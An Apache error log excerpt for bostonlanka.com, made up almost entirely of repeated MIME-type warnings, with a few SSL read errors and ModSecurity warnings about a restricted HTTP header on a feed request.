[Fri Jul 17 10:31:49.529268 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.529359 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.629016 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.629121 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.732234 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.732339 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.831629 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.934669 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.036332 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.136611 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.238544 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.345227 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.446004 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.547408 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674344 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674445 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674474 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674494 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674527 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674646 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674670 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674701 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674719 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674737 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674756 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674773 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674881 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674920 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674940 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.674960 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.675002 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.675082 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.675104 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679521 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679586 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679612 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679692 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679715 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679733 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679765 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679786 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679803 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679910 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679934 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679975 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.679995 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.680025 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.680068 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.680086 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.680188 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.754509 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.799956 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:35408] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:50.855333 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:50.957835 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.059971 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.160251 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.261429 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.346894 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xb4\\xe0\\xb7\\x8f\\xe0\\xb7\\x83\\xe0\\xb7\\x8a\\xe0\\xb6\\x9a\\xe0\\xb7\\x94-\\xe0\\xb6\\xb4\\xe0\\xb7\\x8a\\xe2\\x80\\x8d\\xe0\\xb6\\xbb\\xe0\\xb7\\x84\\xe0\\xb7\\x8f\\xe0\\xb6\\xbb\\xe0\\xb6\\xba\\xe0\\xb7\\x9a-\\xe0\\xb7\\x83\\xe0\\xb7\\x90\\xe0\\xb6\\x9a\\xe0\\xb6\\x9a\\xe0\\xb6\\xbb\\xe0\\xb7\\x94\\xe0\\xb7\\x80/feed/"] [unique_id "alm3P_TLXGCuVk4hiAO__QAAAAs"]
[Fri Jul 17 10:31:51.347484 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xb4\\xe0\\xb7\\x8f\\xe0\\xb7\\x83\\xe0\\xb7\\x8a\\xe0\\xb6\\x9a\\xe0\\xb7\\x94-\\xe0\\xb6\\xb4\\xe0\\xb7\\x8a\\xe2\\x80\\x8d\\xe0\\xb6\\xbb\\xe0\\xb7\\x84\\xe0\\xb7\\x8f\\xe0\\xb6\\xbb\\xe0\\xb6\\xba\\xe0\\xb7\\x9a-\\xe0\\xb7\\x83\\xe0\\xb7\\x90\\xe0\\xb6\\x9a\\xe0\\xb6\\x9a\\xe0\\xb6\\xbb\\xe0\\xb7\\x94\\xe0\\xb7\\x80/feed/"] [unique_id "alm3P_TLXGCuVk4hiAO__QAAAAs"]
[Fri Jul 17 10:31:51.362749 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.464807 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.557444 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "alm3P_TLXGCuVk4hiAO__QAAAAs"]
[Fri Jul 17 10:31:51.566797 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.666947 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.768220 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871072 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871136 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871160 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871179 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871219 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871240 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871261 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871279 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871298 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871318 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871353 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871374 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.871487 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:51.970549 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109032 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109120 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109145 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109163 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109194 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109301 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109321 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109337 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109353 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109369 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109395 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109432 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109540 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109571 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109587 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109603 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109643 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109738 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109768 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109871 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109903 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109919 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.109984 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110003 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110036 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110097 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110127 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110143 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110236 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110256 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110295 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110311 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110327 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110354 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110370 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.110457 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.178292 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.283544 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.388483 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.388590 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.388623 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.388651 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.388732 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.388905 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.388935 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.388961 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.388988 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389022 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389049 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389097 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389250 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389298 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389323 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389348 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389426 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389524 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389549 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389718 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389771 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389797 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389905 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389930 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389954 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.389996 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.390020 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.390045 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.390219 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.390256 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.390324 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.390352 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.390380 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.390428 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.390456 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.390594 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.479172 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.580868 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.692823 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.783903 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784030 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784113 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784157 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784251 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784473 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784529 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784573 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784635 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784694 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784760 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784804 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.784973 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.785089 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.785146 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.785189 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.785276 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.785407 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.785463 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.785636 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.785748 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.785804 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.785932 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.785978 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786019 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786117 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786164 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786200 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786368 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786418 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786515 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786570 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786611 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786707 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786760 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.786927 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.873358 2026] [ssl:error] [pid 2081387:tid 2081387] (70014)End of file found: [client 66.85.158.91:55082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:52.884854 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:52.987646 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.087930 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.198898 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.316583 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.399331 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.500446 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.601213 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.721756 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.721828 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.721851 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.721879 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.721916 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.721937 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.721955 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.721975 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.721993 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.722013 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.722068 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
